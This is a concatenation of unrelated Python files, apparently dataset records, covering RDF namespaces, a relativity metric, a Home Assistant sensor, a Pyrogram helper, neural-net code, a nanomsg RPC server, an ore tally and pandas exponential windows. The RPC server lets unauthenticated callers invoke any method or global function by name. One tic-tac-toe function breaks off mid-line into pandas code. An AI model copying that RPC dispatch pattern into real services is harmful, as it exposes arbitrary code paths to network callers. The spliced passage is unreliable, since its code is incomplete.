self.store.namespace(prefix)\n # Check if the bound_namespace contains a URI\n # and if so convert it into a URIRef for comparison\n # This is to prevent duplicate namespaces with the\n # same URI\n if bound_namespace:\n bound_namespace = URIRef(bound_namespace)\n if bound_namespace and bound_namespace != namespace:\n\n if replace:\n self.store.bind(prefix, namespace)\n insert_trie(self.__trie, str(namespace))\n return\n\n # prefix already in use for different namespace\n #\n # append number to end of prefix until we find one\n # that's not in use.\n if not prefix:\n prefix = \"default\"\n num = 1\n while 1:\n new_prefix = \"%s%s\" % (prefix, num)\n tnamespace = self.store.namespace(new_prefix)\n if tnamespace and namespace == URIRef(tnamespace):\n # the prefix is already bound to the correct\n # namespace\n return\n if not self.store.namespace(new_prefix):\n break\n num += 1\n self.store.bind(new_prefix, namespace)\n else:\n bound_prefix = self.store.prefix(namespace)\n if bound_prefix is None:\n self.store.bind(prefix, namespace)\n elif bound_prefix == prefix:\n pass # already bound\n else:\n if override or bound_prefix.startswith(\"_\"): # or a generated prefix\n self.store.bind(prefix, namespace)\n insert_trie(self.__trie, str(namespace))\n\n def namespaces(self) -> Iterable[Tuple[str, URIRef]]:\n for prefix, namespace in self.store.namespaces():\n namespace = URIRef(namespace)\n yield prefix, namespace\n\n def absolutize(self, uri: str, defrag: int = 1) -> URIRef:\n base = Path.cwd().as_uri()\n result = urljoin(\"%s/\" % base, uri, allow_fragments=not defrag)\n if defrag:\n result = urldefrag(result)[0]\n if not defrag:\n if uri and uri[-1] == \"#\" and result[-1] != \"#\":\n result = \"%s#\" % result\n return URIRef(result)\n\n\n# From: http://www.w3.org/TR/REC-xml#NT-CombiningChar\n#\n# * Name start characters must have one of the categories Ll, Lu, Lo,\n# Lt, Nl.\n#\n# * Name characters other than Name-start characters must have one of\n# the categories Mc, Me, Mn, Lm, or Nd.\n#\n# * Characters in the compatibility area (i.e. with character code\n# greater than #xF900 and less than #xFFFE) are not allowed in XML\n# names.\n#\n# * Characters which have a font or compatibility decomposition\n# (i.e. those with a \"compatibility formatting tag\" in field 5 of the\n# database -- marked by field 5 beginning with a \"<\") are not allowed.\n#\n# * The following characters are treated as name-start characters rather\n# than name characters, because the property file classifies them as\n# Alphabetic: [#x02BB-#x02C1], #x0559, #x06E5, #x06E6.\n#\n# * Characters #x20DD-#x20E0 are excluded (in accordance with Unicode\n# 2.0, section 5.14).\n#\n# * Character #x00B7 is classified as an extender, because the property\n# list so identifies it.\n#\n# * Character #x0387 is added as a name character, because #x00B7 is its\n# canonical equivalent.\n#\n# * Characters ':' and '_' are allowed as name-start characters.\n#\n# * Characters '-' and '.' are allowed as name characters.\n\n\nNAME_START_CATEGORIES = [\"Ll\", \"Lu\", \"Lo\", \"Lt\", \"Nl\"]\nSPLIT_START_CATEGORIES = NAME_START_CATEGORIES + [\"Nd\"]\nNAME_CATEGORIES = NAME_START_CATEGORIES + [\"Mc\", \"Me\", \"Mn\", \"Lm\", \"Nd\"]\nALLOWED_NAME_CHARS = [\"\\u00B7\", \"\\u0387\", \"-\", \".\", \"_\", \"%\", \"(\", \")\"]\n\n\n# http://www.w3.org/TR/REC-xml-names/#NT-NCName\n# [4] NCName ::= (Letter | '_') (NCNameChar)* /* An XML Name, minus\n# the \":\" */\n# [5] NCNameChar ::= Letter | Digit | '.' | '-' | '_' | CombiningChar\n# | Extender\n\n\ndef is_ncname(name: str) -> int:\n if name:\n first = name[0]\n if first == \"_\" or category(first) in NAME_START_CATEGORIES:\n for i in range(1, len(name)):\n c = name[i]\n if not category(c) in NAME_CATEGORIES:\n if c in ALLOWED_NAME_CHARS:\n continue\n return 0\n # if in compatibility area\n # if decomposition(c)!='':\n # return 0\n\n return 1\n\n return 0\n\n\ndef split_uri(\n uri: str, split_start: List[str] = SPLIT_START_CATEGORIES\n) -> Tuple[str, str]:\n if uri.startswith(XMLNS):\n return (XMLNS, uri.split(XMLNS)[1])\n length = len(uri)\n for i in range(0, length):\n c = uri[-i - 1]\n if not category(c) in NAME_CATEGORIES:\n if c in ALLOWED_NAME_CHARS:\n continue\n for j in range(-1 - i, length):\n if category(uri[j]) in split_start or uri[j] == \"_\":\n # _ prevents early split, roundtrip not generate\n ns = uri[:j]\n if not ns:\n break\n ln = uri[j:]\n return (ns, ln)\n break\n raise ValueError(\"Can't split '{}'\".format(uri))\n\n\ndef insert_trie(\n trie: Dict[str, Any], value: str\n) -> Dict[str, Any]: # aka get_subtrie_or_insert\n \"\"\"Insert a value into the trie if it is not already contained in the trie.\n Return the subtree for the value regardless of whether it is a new value\n or not.\"\"\"\n if value in trie:\n return trie[value]\n multi_check = False\n for key in tuple(trie.keys()):\n if len(value) > len(key) and value.startswith(key):\n return insert_trie(trie[key], value)\n elif key.startswith(value): # we know the value is not in the trie\n if not multi_check:\n trie[value] = {}\n multi_check = True # there can be multiple longer existing prefixes\n dict_ = trie.pop(\n key\n ) # does not break strie since key<->dict_ remains unchanged\n trie[value][key] = dict_\n if value not in trie:\n trie[value] = {}\n return trie[value]\n\n\ndef insert_strie(strie: Dict[str, Any], trie: Dict[str, Any], value: str) -> None:\n if value not in strie:\n strie[value] = insert_trie(trie, value)\n\n\ndef get_longest_namespace(trie: Dict[str, Any], value: str) -> Optional[str]:\n for key in trie:\n if value.startswith(key):\n out = get_longest_namespace(trie[key], value)\n if out is None:\n return key\n else:\n return out\n return None\n\n\nfrom rdflib.namespace._BRICK import BRICK\nfrom rdflib.namespace._CSVW import CSVW\nfrom rdflib.namespace._DC import DC\nfrom rdflib.namespace._DCAT import DCAT\nfrom rdflib.namespace._DCMITYPE import DCMITYPE\nfrom rdflib.namespace._DCTERMS import DCTERMS\nfrom rdflib.namespace._DCAM import DCAM\nfrom rdflib.namespace._DOAP import DOAP\nfrom rdflib.namespace._FOAF import FOAF\nfrom rdflib.namespace._GEO import GEO\nfrom rdflib.namespace._ODRL2 import ODRL2\nfrom rdflib.namespace._ORG import ORG\nfrom rdflib.namespace._OWL import OWL\nfrom rdflib.namespace._PROF import PROF\nfrom rdflib.namespace._PROV import PROV\nfrom rdflib.namespace._QB import QB\nfrom rdflib.namespace._RDF import RDF\nfrom rdflib.namespace._RDFS import RDFS\nfrom rdflib.namespace._SDO import SDO\nfrom rdflib.namespace._SH import SH\nfrom rdflib.namespace._SKOS import SKOS\nfrom rdflib.namespace._SOSA import SOSA\nfrom rdflib.namespace._SSN import SSN\nfrom rdflib.namespace._TIME import TIME\nfrom rdflib.namespace._VANN import VANN\nfrom rdflib.namespace._VOID import VOID\nfrom rdflib.namespace._WGS import WGS\nfrom rdflib.namespace._XSD import XSD\n", "source": "ashleysommer/rdflib", "license": "BSD-3-Clause"} {"text": "from sympy import diag, exp, sin, sqrt, symbols\n\nfrom einsteinpy.symbolic import constants\nfrom einsteinpy.symbolic.metric import MetricTensor\n\n\ndef BertottiKasner(c=constants.c, k=symbols(\"k\"), lambd=symbols(\"l\")):\n \"\"\"\n Birkhoff\u2019s theorem with \u039b-term and Bertotti-Kasner space\n Phys. Lett. A, 245:363\u2013365, 1998\n W. Rindler\n\n Parameters\n ----------\n c : ~sympy.core.basic.Basic or int or float\n Any value to assign to speed of light. Defaults to 'c'.\n lambd : ~sympy.core.basic.Basic or int or float\n The cosmological constant, note it must be postive. \n Defaults to ``l``.\n \"\"\"\n coords = symbols(\"t r theta phi\")\n t, r, th, ph = coords\n # define the metric\n metric = diag(\n -1,\n exp(2 * sqrt(lambd) * c * t) / (c ** 2),\n 1 / (lambd * (c ** 2)),\n (sin(th) ** 2) / (lambd * (c ** 2)),\n ).tolist()\n return MetricTensor(metric, coords, \"ll\", name=\"BertottiKasnerMetric\")\n", "source": "bibek22/einsteinpy", "license": "MIT"} {"text": "map_collections = {\n \"user\": \"Users\",\n \"user_relation\": \"UsersRelation\",\n}\n", "source": "apoveda25/graphql-python-server", "license": "Apache-2.0"} {"text": "\"\"\"Support for Rituals Perfume Genie binary sensors.\"\"\"\nfrom __future__ import annotations\n\nfrom pyrituals import Diffuser\n\nfrom homeassistant.components.binary_sensor import (\n DEVICE_CLASS_BATTERY_CHARGING,\n BinarySensorEntity,\n)\nfrom homeassistant.config_entries import ConfigEntry\nfrom homeassistant.const import ENTITY_CATEGORY_DIAGNOSTIC\nfrom homeassistant.core import HomeAssistant\nfrom homeassistant.helpers.entity_platform import AddEntitiesCallback\n\nfrom . import RitualsDataUpdateCoordinator\nfrom .const import COORDINATORS, DEVICES, DOMAIN\nfrom .entity import DiffuserEntity\n\nCHARGING_SUFFIX = \" Battery Charging\"\n\n\nasync def async_setup_entry(\n hass: HomeAssistant,\n config_entry: ConfigEntry,\n async_add_entities: AddEntitiesCallback,\n) -> None:\n \"\"\"Set up the diffuser binary sensors.\"\"\"\n diffusers = hass.data[DOMAIN][config_entry.entry_id][DEVICES]\n coordinators = hass.data[DOMAIN][config_entry.entry_id][COORDINATORS]\n\n async_add_entities(\n DiffuserBatteryChargingBinarySensor(diffuser, coordinators[hublot])\n for hublot, diffuser in diffusers.items()\n if diffuser.has_battery\n )\n\n\nclass DiffuserBatteryChargingBinarySensor(DiffuserEntity, BinarySensorEntity):\n \"\"\"Representation of a diffuser battery charging binary sensor.\"\"\"\n\n _attr_device_class = DEVICE_CLASS_BATTERY_CHARGING\n _attr_entity_category = ENTITY_CATEGORY_DIAGNOSTIC\n\n def __init__(\n self, diffuser: Diffuser, coordinator: RitualsDataUpdateCoordinator\n ) -> None:\n \"\"\"Initialize the battery charging binary sensor.\"\"\"\n super().__init__(diffuser, coordinator, CHARGING_SUFFIX)\n\n @property\n def is_on(self) -> bool:\n \"\"\"Return the state of the battery charging binary sensor.\"\"\"\n return self._diffuser.charging\n", "source": "EuleMitKeule/core", "license": "Apache-2.0"} {"text": "from pyrogram.scaffold import Scaffold\nfrom pyrogram.types import Message\nfrom pyrogram.raw import functions\nfrom pyrogram.raw.types import InputMessageID\nfrom alisu.utils.custom_methods_exceptions import invalid_chat_type_custom_exception\n\n\nclass GetRawMessageFromPyrogram(Scaffold):\n async def get_raw_message_from_pyrogram(\n self,\n message: Message,\n ):\n messageid = message.message_id\n if message.chat.type in [\"supergroup\", \"channel\"]:\n the_peer = await self.resolve_peer(message.chat.id)\n r = await self.send(\n functions.channels.GetMessages(\n channel=the_peer,\n id=[InputMessageID(id=messageid)],\n )\n )\n elif message.chat.type in [\"private\", \"bot\", \"group\"]:\n r = await self.send(\n functions.messages.GetMessages(id=[InputMessageID(id=messageid)])\n )\n else:\n raise invalid_chat_type_custom_exception(\n f\"Invalid Chat Type: {message.chat.type}\"\n )\n\n return r\n", "source": "sh-himanshu/alisurobot", "license": "MIT"} {"text": "import numpy as np\n\n__all__ = [\n 'Sigmoidal',\n 'Softmax',\n 'Tanh',\n 'ReLU',\n]\n\n\nclass Sigmoidal(object):\n\n @classmethod\n def activate(cls, z):\n return 1 / (1 + np.exp(-(z)))\n\n @classmethod\n def derivative(cls, z):\n a = cls.activate(z)\n return a * (1 - a)\n\nclass Softmax(object):\n\n @classmethod\n def activate(cls, z):\n return np.exp(z) / np.sum(np.exp(z))\n\nclass Tanh(object):\n\n @classmethod\n def activate(cls, z):\n return np.tanh(z)\n\n @classmethod\n def derivative(cls, z):\n return 1 - (np.tanh(z))**2\n\nclass ReLU(object):\n\n @classmethod\n def activate(cls, z):\n '''\n g(z) = max(0, z)\n '''\n zeros = np.zeros((len(z)))\n _z = np.column_stack((z, zeros))\n return np.max(_z, axis=1)\n\n @classmethod\n def derivative(cls, z):\n pass\n", "source": "chaobin/isaac", "license": "MIT"} {"text": "import pynng\n\nfrom .common import *\n\n\nclass NanomsgRPCServer:\n @staticmethod\n def ping():\n return 'pong'\n\n @staticmethod\n def new_req(name: str, *args, **kwargs):\n return json.dumps(dict(name=name, args=args, kwargs=kwargs)).encode()\n\n def __init__(self, url):\n self.url = url\n self.__reset__()\n\n def __reset__(self):\n self._running = False\n self._rep_socket = pynng.Rep0()\n\n def __start__(self):\n if not self._running:\n t = threading.Thread(target=self.__run__, daemon=True)\n t.start()\n else:\n raise RPCError('thread still running, or stopped incorrectly')\n\n def __stop__(self):\n self.__send_result__(True)\n self._rep_socket.close()\n self.__reset__()\n\n def __run__(self):\n self._rep_socket.listen(self.url)\n self._running = True\n print('running')\n while self._running:\n try:\n q = self.__receive_request__()\n name = q['name']\n target = self.__find_call_target__(name)\n args = q['args']\n kwargs = q['kwargs']\n r = target(*args, **kwargs)\n try:\n self.__send_result__(r)\n except pynng.BadState:\n if name != 'stop':\n raise\n except Exception as e:\n self.__send_error__(e)\n\n @lru_cache()\n def __find_call_target__(self, name):\n try:\n return getattr(self, name)\n except AttributeError:\n try:\n return globals()[name]\n except KeyError:\n raise NameError(name)\n\n def __send_dict__(self, d):\n try:\n s = json.dumps(d, ensure_ascii=False).encode()\n except Exception as e:\n self.__send_error__(e)\n else:\n self._rep_socket.send(s)\n\n def __receive_request__(self):\n return json.loads(self._rep_socket.recv())\n\n def __send_error__(self, e: Exception):\n d = dict(ok=False, error=f'Python Exception: {type(e).__name__}: {e}')\n self.__send_dict__(d)\n\n def __send_result__(self, json_obj):\n d = dict(ok=True, result=json_obj)\n self.__send_dict__(d)\n", "source": "fakegit/mo-han-toolbox", "license": "MIT"} {"text": "from io import StringIO\nimport pandas as pd\n\ntextbox = StringIO(\"\"\"\nAzure Plagioclase\t24,018\t8,406 m3\t59 km\nAzure Plagioclase\t51,391\t17,986 m3\t57 km\nAzure Plagioclase\t61,059\t21,370 m3\t70 km\nAzure Plagioclase\t64,638\t22,623 m3\t53 km\nAzure Plagioclase\t66,070\t23,124 m3\t54 km\nAzure Plagioclase\t70,301\t24,605 m3\t64 km\nAzure Plagioclase\t85,131\t29,795 m3\t67 km\nAzure Plagioclase\t92,112\t32,239 m3\t46 km\nAzure Plagioclase\t94,471\t33,064 m3\t78 km\nBistot\t2,197\t35,152 m3\t40 km\nBistot\t4,177\t66,832 m3\t57 km\nBistot\t4,273\t68,368 m3\t85 km\nBistot\t5,011\t80,176 m3\t72 km\nCondensed Scordite\t4,716\t707 m3\t61 km\nCondensed Scordite\t5,823\t873 m3\t56 km\nCondensed Scordite\t5,909\t886 m3\t42 km\nCondensed Scordite\t6,389\t958 m3\t51 km\nCondensed Scordite\t6,737\t1,010 m3\t61 km\nCondensed Scordite\t6,871\t1,030 m3\t74 km\nCondensed Scordite\t7,140\t1,071 m3\t49 km\nCondensed Scordite\t7,331\t1,099 m3\t58 km\nCondensed Scordite\t8,182\t1,227 m3\t83 km\nCondensed Scordite\t8,549\t1,282 m3\t74 km\nCondensed Scordite\t8,870\t1,330 m3\t50 km\nCondensed Scordite\t9,860\t1,479 m3\t54 km\nCrokite\t208\t3,328 m3\t48 km\nCrokite\t488\t7,808 m3\t46 km\nCrokite\t569\t9,104 m3\t64 km\nCrokite\t649\t10,384 m3\t63 km\nCrystalline Crokite\t480\t7,680 m3\t62 km\nCrystalline Crokite\t518\t8,288 m3\t57 km\nCrystalline Crokite\t564\t9,024 m3\t51 km\nCrystalline Crokite\t578\t9,248 m3\t57 km\nCrystalline Crokite\t651\t10,416 m3\t59 km\nFiery Kernite\t10,293\t12,351 m3\t55 km\nFiery Kernite\t12,463\t14,955 m3\t59 km\nFiery Kernite\t7,695\t9,234 m3\t63 km\nGneiss\t2,163\t10,815 m3\t52 km\nGneiss\t3,111\t15,555 m3\t54 km\nGneiss\t3,374\t16,870 m3\t55 km\nGolden Omber\t13,356\t8,013 m3\t55 km\nIridescent Gneiss\t1,125\t5,625 m3\t52 km\nIridescent Gneiss\t1,803\t9,015 m3\t34 km\nIridescent Gneiss\t2,632\t13,160 m3\t49 km\nIridescent Gneiss\t2,805\t14,025 m3\t49 km\nIridescent Gneiss\t2,907\t14,535 m3\t49 km\nIridescent Gneiss\t2,916\t14,580 m3\t87 km\nIridescent Gneiss\t3,537\t17,685 m3\t72 km\nIridescent Gneiss\t762\t3,810 m3\t63 km\nKernite\t10,148\t12,177 m3\t78 km\nKernite\t8,396\t10,075 m3\t65 km\nLuminous Kernite\t12,864\t15,436 m3\t48 km\nLuminous Kernite\t5,437\t6,524 m3\t63 km\nLuminous Kernite\t7,282\t8,738 m3\t60 km\nLuminous Kernite\t7,362\t8,834 m3\t50 km\nLuminous Kernite\t7,388\t8,865 m3\t54 km\nLuminous Kernite\t7,785\t9,342 m3\t88 km\nLuminous Kernite\t9,192\t11,030 m3\t71 km\nLuminous Kernite\t9,329\t11,194 m3\t58 km\nLuminous Kernite\t9,426\t11,311 m3\t56 km\nLuminous Kernite\t9,526\t11,431 m3\t58 km\nLuminous Kernite\t9,575\t11,490 m3\t80 km\nLuminous Kernite\t9,947\t11,936 m3\t62 km\nMassive Scordite\t6,305\t945 m3\t54 km\nMassive Scordite\t7,281\t1,092 m3\t44 km\nMonoclinic Bistot\t4,053\t64,848 m3\t47 km\nOmber\t12,259\t7,355 m3\t65 km\nOmber\t12,915\t7,749 m3\t78 km\nOmber\t14,771\t8,862 m3\t57 km\nOmber\t3,813\t2,287 m3\t41 km\nPrismatic Gneiss\t2,220\t11,100 m3\t81 km\nPrismatic Gneiss\t2,924\t14,620 m3\t63 km\nPyroxeres\t42,745\t12,823 m3\t62 km\nPyroxeres\t46,358\t13,907 m3\t60 km\nPyroxeres\t58,931\t17,679 m3\t72 km\nPyroxeres\t69,132\t20,739 m3\t41 km\nPyroxeres\t78,637\t23,591 m3\t72 km\nRich Plagioclase\t64,689\t22,641 m3\t61 km\nRich Plagioclase\t68,618\t24,016 m3\t49 km\nRich Plagioclase\t76,239\t26,683 m3\t46 km\nRich Plagioclase\t77,884\t27,259 m3\t56 km\nScordite\t7,042\t1,056 m3\t52 km\nScordite\t9,707\t1,456 m3\t60 km\nSharp Crokite\t180\t2,880 m3\t37 km\nSharp Crokite\t366\t5,856 m3\t46 km\nSharp Crokite\t388\t6,208 m3\t74 km\nSharp Crokite\t409\t6,544 m3\t54 km\nSharp Crokite\t468\t7,488 m3\t55 km\nSharp Crokite\t496\t7,936 m3\t51 km\nSharp Crokite\t585\t9,360 m3\t57 km\nSharp Crokite\t646\t10,336 m3\t73 km\nSharp Crokite\t661\t10,576 m3\t35 km\nSharp Crokite\t753\t12,048 m3\t89 km\nSharp Crokite\t769\t12,304 m3\t61 km\nSilvery Omber\t10,461\t6,276 m3\t64 km\nSilvery Omber\t11,996\t7,197 m3\t52 km\nSilvery Omber\t12,068\t7,240 m3\t66 km\nSilvery Omber\t13,968\t8,380 m3\t48 km\nSilvery Omber\t16,056\t9,633 m3\t59 km\nSilvery Omber\t3,708\t2,224 m3\t52 km\nSilvery Omber\t5,279\t3,167 m3\t45 km\nSolid Pyroxeres\t43,905\t13,171 m3\t56 km\nSolid Pyroxeres\t44,240\t13,272 m3\t68 km\nSolid Pyroxeres\t44,500\t13,350 m3\t52 km\nSolid Pyroxeres\t46,730\t14,019 m3\t58 km\nSolid Pyroxeres\t48,271\t14,481 m3\t63 km\nSolid Pyroxeres\t54,605\t16,381 m3\t54 km\nSolid Pyroxeres\t55,123\t16,536 m3\t56 km\nSolid Pyroxeres\t58,084\t17,425 m3\t52 km\nSolid Pyroxeres\t59,401\t17,820 m3\t39 km\nSolid Pyroxeres\t66,020\t19,806 m3\t61 km\nSolid Pyroxeres\t67,409\t20,222 m3\t63 km\nSolid Pyroxeres\t68,159\t20,447 m3\t53 km\nSolid Pyroxeres\t72,704\t21,811 m3\t64 km\nTriclinic Bistot\t2,587\t41,392 m3\t41 km\nTriclinic Bistot\t3,870\t61,920 m3\t57 km\nTriclinic Bistot\t4,514\t72,224 m3\t89 km\nTriclinic Bistot\t4,539\t72,624 m3\t64 km\nTriclinic Bistot\t4,650\t74,400 m3\t44 km\nTriclinic Bistot\t4,776\t76,416 m3\t50 km\nTriclinic Bistot\t4,858\t77,728 m3\t74 km\nTriclinic Bistot\t5,756\t92,096 m3\t56 km\nViscous Pyroxeres\t35,930\t10,779 m3\t44 km\nViscous Pyroxeres\t53,592\t16,077 m3\t61 km\nViscous Pyroxeres\t59,221\t17,766 m3\t63 km\nViscous Pyroxeres\t77,090\t23,127 m3\t35 km\n\"\"\")\n\ntest = pd.read_csv(textbox, sep='\\t', lineterminator='\\n', names=[\"Ore\", \"Units\", \"Volume\", \"Distance\"])\ntest = test.drop(columns=['Volume','Distance'])\ntest[\"Units\"] = test[\"Units\"].map(lambda x: x.replace(',',''))\ntest[[\"Units\"]] = test[[\"Units\"]].apply(pd.to_numeric)\ntest = test.groupby(\"Ore\").agg({\"Units\":\"sum\"})\ntest[\"Units\"] = test[\"Units\"].map(lambda x: x/100)\nprint(test)\n", "source": "vjackrussel/ore_calc", "license": "MIT"} {"text": "#------------------------\n#\n#(9) * (40) * (9)\n#\n#\n\nfrom numpy import * \nimport scipy.optimize as opt\n\nInput_size = 9\nHidden_size = 50\nOutput_size = 9\n\nX = []\nY = []\n\ndef appenddata(y, x):\n def adddata(y, val, label):\n global X, Y\n l = [0]*9\n l[val] = y\n Y.append(copy(l))\n X.append(copy(label))\n\n label = [0]*9\n flag = 1\n for ind, val in enumerate(x):\n if ind%2 == 0:\n adddata(y, val, label)\n label[val] = flag\n flag = -flag\n\ndef randtheta(L_in, L_out):\n epsilon = sqrt(6)/sqrt(L_in+L_out)\n theta = random.rand(L_out, L_in)*2*epsilon - epsilon\n return theta\n\ndef sigmoid(x):\n try:\n t = 1.0/(1.0+exp(-x))\n except:\n t = inf\n return t\n\ndef logx(x):\n try:\n t = log(x)\n except:\n print t\n t = -inf\n return t\n\ndef sigmoidGradient(z):\n return sigmoid(z)*(1.0 - sigmoid(z));\n\ndef unroll(theta1, theta2):\n return append(theta1.flatten(),theta2.flatten())\n\ndef roll(theta):\n global Input_size, Hidden_size, Output_size\n\n theta1 = theta[:Input_size*Hidden_size]\n theta1.shape = Hidden_size,-1\n\n theta2 = theta[Input_size*Hidden_size:]\n theta2.shape = Output_size,-1\n return (theta1, theta2)\n\ndef anncostfunction(theta, X, Y):\n m = X.shape[0]\n\n theta1, theta2 = roll(theta)\n\n z2 = dot(X, theta1.transpose())\n a2 = sigmoid(z2)\n a3 = sigmoid(dot(a2, theta2.transpose()))\n\n# print 'X=',X\n# print 'Y=',Y\n\n delta3 = a3 - Y\n# print 'delta3=',delta3\n delta2 = dot(delta3, theta2) * sigmoidGradient(z2)\n\n\n#Theta1_grad = 1/m * delta2' * a1 + lambda/m * tmptheta1;\n#Theta2_grad = 1/m * delta3' * a2 + lambda/m * tmptheta2;\n theta1_grad = 1.0/m * dot(delta2.transpose(),X)\n theta2_grad = 1.0/m * dot(delta3.transpose(),a2)\n\n ans = -1.0/m *sum(Y*logx(a3) + (1-Y)*logx(1-a3))\n ans2 = unroll(theta1_grad, theta2_grad)\n\n# print ans\n return (ans,ans2)\n\ndef predict(X, theta1, theta2):\n H = sigmoid(dot(X, theta1.transpose()))\n Y = sigmoid(dot(H, theta2.transpose()))\n\n maxx = -1\n for ind, val in enumerate(Y):\n if (X[ind]==0) and (maxx==-1 or Y[maxx] float:\n valid_count = common.count_not_none(comass, span, halflife, alpha)\n if valid_count > 1:\n raise ValueError(\"comass, span, halflife, and alpha are mutually exclusive\")\n\n # Convert to center of mass; domain checks ensure 0 < alpha <= 1\n if comass is not None:\n if comass < 0:\n raise ValueError(\"comass must satisfy: comass >= 0\")\n elif span is not None:\n if span < 1:\n raise ValueError(\"span must satisfy: span >= 1\")\n comass = (span - 1) / 2\n elif halflife is not None:\n if halflife <= 0:\n raise ValueError(\"halflife must satisfy: halflife > 0\")\n decay = 1 - np.exp(np.log(0.5) / halflife)\n comass = 1 / decay - 1\n elif alpha is not None:\n if alpha <= 0 or alpha > 1:\n raise ValueError(\"alpha must satisfy: 0 < alpha <= 1\")\n comass = (1 - alpha) / alpha\n else:\n raise ValueError(\"Must pass one of comass, span, halflife, or alpha\")\n\n return float(comass)\n\n\ndef dispatch(name: str, *args, **kwargs):\n \"\"\"\n Dispatch to groupby apply.\n \"\"\"\n\n def outer(self, *args, **kwargs):\n def f(x):\n x = self._shallow_copy(x, groupby=self._groupby)\n return getattr(x, name)(*args, **kwargs)\n\n return self._groupby.apply(f)\n\n outer.__name__ = name\n return outer\n\n\nclass ExponentialMovingWindow(BaseWindow):\n r\"\"\"\n Provide exponential weighted (EW) functions.\n\n Available EW functions: ``mean()``, ``var()``, ``std()``, ``corr()``, ``cov()``.\n\n Exactly one parameter: ``com``, ``span``, ``halflife``, or ``alpha`` must be\n provided.\n\n Parameters\n ----------\n com : float, optional\n Specify decay in terms of center of mass,\n :math:`\\alpha = 1 / (1 + com)`, for :math:`com \\geq 0`.\n span : float, optional\n Specify decay in terms of span,\n :math:`\\alpha = 2 / (span + 1)`, for :math:`span \\geq 1`.\n halflife : float, str, timedelta, optional\n Specify decay in terms of half-life,\n :math:`\\alpha = 1 - \\exp\\left(-\\ln(2) / halflife\\right)`, for\n :math:`halflife > 0`.\n\n If ``times`` is specified, the time unit (str or timedelta) over which an\n observation decays to half its value. Only applicable to ``mean()``\n and halflife value will not apply to the other functions.\n\n .. versionadded:: 1.1.0\n\n alpha : float, optional\n Specify smoothing factor :math:`\\alpha` directly,\n :math:`0 < \\alpha \\leq 1`.\n min_periods : int, default 0\n Minimum number of observations in window required to have a value\n (otherwise result is NA).\n adjust : bool, default True\n Divide by decaying adjustment factor in beginning periods to account\n for imbalance in relative weightings (viewing EWMA as a moving average).\n\n - When ``adjust=True`` (default), the EW function is calculated using weights\n :math:`w_i = (1 - \\alpha)^i`. For example, the EW moving average of the series\n [:math:`x_0, x_1, ..., x_t`] would be:\n\n .. math::\n y_t = \\frac{x_t + (1 - \\alpha)x_{t-1} + (1 - \\alpha)^2 x_{t-2} + ... + (1 -\n \\alpha)^t x_0}{1 + (1 - \\alpha) + (1 - \\alpha)^2 + ... + (1 - \\alpha)^t}\n\n - When ``adjust=False``, the exponentially weighted function is calculated\n recursively:\n\n .. math::\n \\begin{split}\n y_0 &= x_0\\\\\n y_t &= (1 - \\alpha) y_{t-1} + \\alpha x_t,\n \\end{split}\n ignore_na : bool, default False\n Ignore missing values when calculating weights; specify ``True`` to reproduce\n pre-0.15.0 behavior.\n\n - When ``ignore_na=False`` (default), weights are based on absolute positions.\n For example, the weights of :math:`x_0` and :math:`x_2` used in calculating\n the final weighted average of [:math:`x_0`, None, :math:`x_2`] are\n :math:`(1-\\alpha)^2` and :math:`1` if ``adjust=True``, and\n :math:`(1-\\alpha)^2` and :math:`\\alpha` if ``adjust=False``.\n\n - When ``ignore_na=True`` (reproducing pre-0.15.0 behavior), weights are based\n on relative positions. For example, the weights of :math:`x_0` and :math:`x_2`\n used in calculating the final weighted average of\n [:math:`x_0`, None, :math:`x_2`] are :math:`1-\\alpha` and :math:`1` if\n ``adjust=True``, and :math:`1-\\alpha` and :math:`\\alpha` if ``adjust=False``.\n axis : {0, 1}, default 0\n The axis to use. The value 0 identifies the rows, and 1\n identifies the columns.\n times : str, np.ndarray, Series, default None\n\n .. versionadded:: 1.1.0\n\n Times corresponding to the observations. Must be monotonically increasing and\n ``datetime64[ns]`` dtype.\n\n If str, the name of the column in the DataFrame representing the times.\n\n If 1-D array like, a sequence with the same shape as the observations.\n\n Only applicable to ``mean()``.\n\n Returns\n -------\n DataFrame\n A Window sub-classed for the particular operation.\n\n See Also\n --------\n rolling : Provides rolling window calculations.\n expanding : Provides expanding transformations.\n\n Notes\n -----\n\n More details can be found at:\n :ref:`Exponentially weighted windows `.\n\n Examples\n --------\n >>> df = pd.DataFrame({'B': [0, 1, 2, np.nan, 4]})\n >>> df\n B\n 0 0.0\n 1 1.0\n 2 2.0\n 3 NaN\n 4 4.0\n\n >>> df.ewm(com=0.5).mean()\n B\n 0 0.000000\n 1 0.750000\n 2 1.615385\n 3 1.615385\n 4 3.670213\n\n Specifying ``times`` with a timedelta ``halflife`` when computing mean.\n\n >>> times = ['2020-01-01', '2020-01-03', '2020-01-10', '2020-01-15', '2020-01-17']\n >>> df.ewm(halflife='4 days', times=pd.DatetimeIndex(times)).mean()\n B\n 0 0.000000\n 1 0.585786\n 2 1.523889\n 3 1.523889\n 4 3.233686\n \"\"\"\n\n _attributes = [\"com\", \"min_periods\", \"adjust\", \"ignore_na\", \"axis\"]\n\n def __init__(\n self,\n obj,\n com: Optional[float] = None,\n span: Optional[float] = None,\n halflife: Optional[Union[float, TimedeltaConvertibleTypes]] = None,\n alpha: Optional[float] = None,\n min_periods: int = 0,\n adjust: bool = True,\n ignore_na: bool = False,\n axis: int = 0,\n times: Optional[Union[str, np.ndarray, FrameOrSeries]] = None,\n **kwargs,\n ):\n self.obj = obj\n self.min_periods = max(int(min_periods), 1)\n self.adjust = adjust\n self.ignore_na = ignore_na\n self.axis = axis\n self.on = None\n self.center = False\n self.closed = None\n self.method = \"single\"\n if times is not None:\n if isinstance(times, str):\n times = self._selected_obj[times]\n if not is_datetime64_ns_dtype(times):\n raise ValueError(\"times must be datetime64[ns] dtype.\")\n if len(times) != len(obj):\n raise ValueError(\"times must be the same length as the object.\")\n if not isinstance(halflife, (str, datetime.timedelta)):\n raise ValueError(\n \"halflife must be a string or datetime.timedelta object\"\n )\n if isna(times).any():\n raise ValueError(\"Cannot convert NaT values to integer\")\n self.times = np.asarray(times.view(np.int64))\n self.halflife = Timedelta(halflife).value\n # Halflife is no longer applicable when calculating COM\n # But allow COM to still be calculated if the user passes other decay args\n if common.count_not_none(com, span, alpha) > 0:\n self.com = get_center_of_mass(com, span, None, alpha)\n else:\n self.com = 0.0\n else:\n if halflife is not None and isinstance(halflife, (str, datetime.timedelta)):\n raise ValueError(\n \"halflife can only be a timedelta convertible argument if \"\n \"times is not None.\"\n )\n self.times = None\n self.halflife = None\n self.com = get_center_of_mass(com, span, halflife, alpha)\n\n def _get_window_indexer(self) -> BaseIndexer:\n 